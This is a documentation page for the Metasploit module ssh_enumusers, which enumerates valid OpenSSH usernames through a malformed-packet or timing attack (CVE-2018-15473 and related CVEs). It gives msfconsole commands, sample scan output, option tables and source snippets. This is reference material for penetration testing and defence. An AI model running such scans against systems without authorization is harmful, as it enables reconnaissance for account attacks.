SSH Username Enumeration - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/ssh/ssh_enumusers metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: SSH Username Enumeration
Module: auxiliary/scanner/ssh/ssh_enumusers
Source code: modules/auxiliary/scanner/ssh/ssh_enumusers.rb
Disclosure date: -
Last modification time: 2021-01-27 10:14:52 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 22
List of CVEs: CVE-2003-0190, CVE-2006-5229, CVE-2016-6210, CVE-2018-15473

This module uses a malformed packet or timing attack to enumerate users on an OpenSSH server. The default action sends a malformed (corrupted) SSH_MSG_USERAUTH_REQUEST packet using public key authentication (must be enabled) to enumerate users. On some versions of OpenSSH under some configurations, OpenSSH will return a "permission denied" error for an invalid user faster than for a valid user, creating an opportunity for a timing attack to enumerate users. Testing note: invalid users were logged, while valid users were not. YMMV.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/ssh/ssh_enumusers
msf auxiliary(ssh_enumusers) > show options
    ... show and set options ...
msf auxiliary(ssh_enumusers) > set RHOSTS ip-range
msf auxiliary(ssh_enumusers) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(ssh_enumusers) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(ssh_enumusers) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(ssh_enumusers) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Introduction


This module uses a malformed packet or timing attack to enumerate users on an OpenSSH server.

Testing note: invalid users were logged, while valid users were not. YMMV.

Actions


Malformed Packet

The default action sends a malformed (corrupted) SSH_MSG_USERAUTH_REQUEST packet using public key authentication (must be enabled) to enumerate users.

Timing Attack

On some versions of OpenSSH under some configurations, OpenSSH will return a "permission denied" error for an invalid user faster than for a valid user, creating an opportunity for a timing attack to enumerate users.

Options


USERNAME

Single username to test (username spray).

USER_FILE

File containing usernames, one per line.

THRESHOLD

Amount of seconds needed before a user is considered found (timing attack only).

CHECK_FALSE

Check for false positives (random username).

Usage


msf5 > use auxiliary/scanner/ssh/ssh_enumusers
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set rhosts [redacted]
rhosts => [redacted]
msf5 auxiliary(scanner/ssh/ssh_enumusers) > echo $'wvu\nbcook' > users
[*] exec: echo $'wvu\nbcook' > users

msf5 auxiliary(scanner/ssh/ssh_enumusers) > set user_file users
user_file => users
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set verbose true
verbose => true
msf5 auxiliary(scanner/ssh/ssh_enumusers) > run

[*] [redacted]:22 - SSH - Using malformed packet technique
[*] [redacted]:22 - SSH - Starting scan
[+] [redacted]:22 - SSH - User 'wvu' found
[-] [redacted]:22 - SSH - User 'bcook' not found
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set action Timing Attack
action => Timing Attack
msf5 auxiliary(scanner/ssh/ssh_enumusers) > run

[*] [redacted]:22 - SSH - Using timing attack technique
[*] [redacted]:22 - SSH - Starting scan
[+] [redacted]:22 - SSH - User 'wvu' found
[-] [redacted]:22 - SSH - User 'bcook' not found
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/ssh_enumusers) > creds
Credentials
===========

host         origin       service       public  private  realm  private_type
----         ------       -------       ------  -------  -----  ------------
[redacted]   [redacted]   22/tcp (ssh)  wvu

msf5 auxiliary(scanner/ssh/ssh_enumusers) >

Go back to menu.

Msfconsole Usage


Here is how the scanner/ssh/ssh_enumusers auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/ssh/ssh_enumusers

msf6 auxiliary(scanner/ssh/ssh_enumusers) > show info

       Name: SSH Username Enumeration
     Module: auxiliary/scanner/ssh/ssh_enumusers
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  kenkeiras
  Dariusz Tytko
  Michal Sajdak
  Qualys
  wvu <[email protected]>

Available actions:
  Name              Description
  ----              -----------
  Malformed Packet  Use a malformed packet
  Timing Attack     Use a timing attack

Check supported:
  No

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  CHECK_FALSE  false            no        Check for false positives (random username)
  Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT        22               yes       The target port
  THREADS      1                yes       The number of concurrent threads (max one per host)
  THRESHOLD    10               yes       Amount of seconds needed before a user is considered found (timing attack only)
  USERNAME                      no        Single username to test (username spray)
  USER_FILE                     no        File containing usernames, one per line

Description:
  This module uses a malformed packet or timing attack to enumerate 
  users on an OpenSSH server. The default action sends a malformed 
  (corrupted) SSH_MSG_USERAUTH_REQUEST packet using public key 
  authentication (must be enabled) to enumerate users. On some 
  versions of OpenSSH under some configurations, OpenSSH will return a 
  "permission denied" error for an invalid user faster than for a 
  valid user, creating an opportunity for a timing attack to enumerate 
  users. Testing note: invalid users were logged, while valid users 
  were not. YMMV.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2003-0190
  https://nvd.nist.gov/vuln/detail/CVE-2006-5229
  https://nvd.nist.gov/vuln/detail/CVE-2016-6210
  https://nvd.nist.gov/vuln/detail/CVE-2018-15473
  OSVDB (32721)
  http://www.securityfocus.com/bid/20418
  https://seclists.org/oss-sec/2018/q3/124
  https://sekurak.pl/openssh-users-enumeration-cve-2018-15473/

Module Options


This is a complete list of options available in the scanner/ssh/ssh_enumusers auxiliary module:

msf6 auxiliary(scanner/ssh/ssh_enumusers) > show options

Module options (auxiliary/scanner/ssh/ssh_enumusers):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   CHECK_FALSE  false            no        Check for false positives (random username)
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT        22               yes       The target port
   THREADS      1                yes       The number of concurrent threads (max one per host)
   THRESHOLD    10               yes       Amount of seconds needed before a user is considered found (timing attack only)
   USERNAME                      no        Single username to test (username spray)
   USER_FILE                     no        File containing usernames, one per line

Auxiliary action:

   Name              Description
   ----              -----------
   Malformed Packet  Use a malformed packet

Advanced Options


Here is a complete list of advanced options supported by the scanner/ssh/ssh_enumusers auxiliary module:

msf6 auxiliary(scanner/ssh/ssh_enumusers) > show advanced

Module advanced options (auxiliary/scanner/ssh/ssh_enumusers):

   Name                 Current Setting                          Required  Description
   ----                 ---------------                          --------  -----------
   RETRY_NUM            3                                        yes       The number of attempts to connect to a SSH server for each user
   SSH_DEBUG            false                                    no        Enable SSH debugging output (Extreme verbosity!)
   SSH_IDENT            SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3  yes       SSH client identification string
   SSH_TIMEOUT          10                                       no        Specify the maximum time to negotiate a SSH session
   ShowProgress         true                                     yes       Display progress messages during a scan
   ShowProgressPercent  10                                       yes       The interval in percent that progress should be shown
   VERBOSE              false                                    no        Enable detailed status messages
   WORKSPACE                                                     no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/ssh/ssh_enumusers module can do:

msf6 auxiliary(scanner/ssh/ssh_enumusers) > show actions

Auxiliary actions:

   Name              Description
   ----              -----------
   Malformed Packet  Use a malformed packet
   Timing Attack     Use a timing attack

Evasion Options


Here is the full list of possible evasion options supported by the scanner/ssh/ssh_enumusers auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/ssh/ssh_enumusers) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

permission denied


Here is a relevant code snippet related to the "permission denied" error message:

17:	
18:	        The default action sends a malformed (corrupted) SSH_MSG_USERAUTH_REQUEST
19:	        packet using public key authentication (must be enabled) to enumerate users.
20:	
21:	        On some versions of OpenSSH under some configurations, OpenSSH will return a
22:	        "permission denied" error for an invalid user faster than for a valid user,
23:	        creating an opportunity for a timing attack to enumerate users.
24:	
25:	        Testing note: invalid users were logged, while valid users were not. YMMV.
26:	      },
27:	      'Author'         => [

<PEER-IP> Retrying '<USER>' due to connection error


Here is a relevant code snippet related to the "<PEER-IP> Retrying '<USER>' due to connection error" error message:

209:	    ret = nil
210:	
211:	    while attempt_num <= retry_num and (ret.nil? or ret == :connection_error)
212:	      if attempt_num > 0
213:	        Rex.sleep(2 ** attempt_num)
214:	        vprint_status("#{peer(ip)} Retrying '#{user}' due to connection error")
215:	      end
216:	
217:	      ret = check_user(ip, user, rport)
218:	      attempt_num += 1
219:	    end

<PEER-IP> User '<USER>' could not connect


Here is a relevant code snippet related to the "<PEER-IP> User '<USER>' could not connect" error message:

225:	    case attempt_result
226:	    when :success
227:	      print_good("#{peer(ip)} User '#{user}' found")
228:	      do_report(ip, user, rport)
229:	    when :connection_error
230:	      vprint_error("#{peer(ip)} User '#{user}' could not connect")
231:	    when :fail
232:	      vprint_error("#{peer(ip)} User '#{user}' not found")
233:	    end
234:	  end
235:	

<PEER-IP> User '<USER>' not found


Here is a relevant code snippet related to the "<PEER-IP> User '<USER>' not found" error message:

227:	      print_good("#{peer(ip)} User '#{user}' found")
228:	      do_report(ip, user, rport)
229:	    when :connection_error
230:	      vprint_error("#{peer(ip)} User '#{user}' could not connect")
231:	    when :fail
232:	      vprint_error("#{peer(ip)} User '#{user}' not found")
233:	    end
234:	  end
235:	
236:	  def run_host(ip)
237:	    print_status("#{peer(ip)} Using #{action.name.downcase} technique")

<PEER-IP> throws false positive results. Aborting.


Here is a relevant code snippet related to the "<PEER-IP> throws false positive results. Aborting." error message:

237:	    print_status("#{peer(ip)} Using #{action.name.downcase} technique")
238:	
239:	    if datastore['CHECK_FALSE']
240:	      print_status("#{peer(ip)} Checking for false positives")
241:	      if check_false_positive(ip)
242:	        print_error("#{peer(ip)} throws false positive results. Aborting.")
243:	        return
244:	      end
245:	    end
246:	
247:	    users = user_list

Please populate USERNAME or USER_FILE


Here is a relevant code snippet related to the "Please populate USERNAME or USER_FILE" error message:

245:	    end
246:	
247:	    users = user_list
248:	
249:	    if users.empty?
250:	      print_error('Please populate USERNAME or USER_FILE')
251:	      return
252:	    end
253:	
254:	    print_status("#{peer(ip)} Starting scan")
255:	    users.each { |user| show_result(attempt_user(user, ip), user, ip) }

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • kenkeiras
  • Dariusz Tytko
  • Michal Sajdak
  • Qualys
  • wvu

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.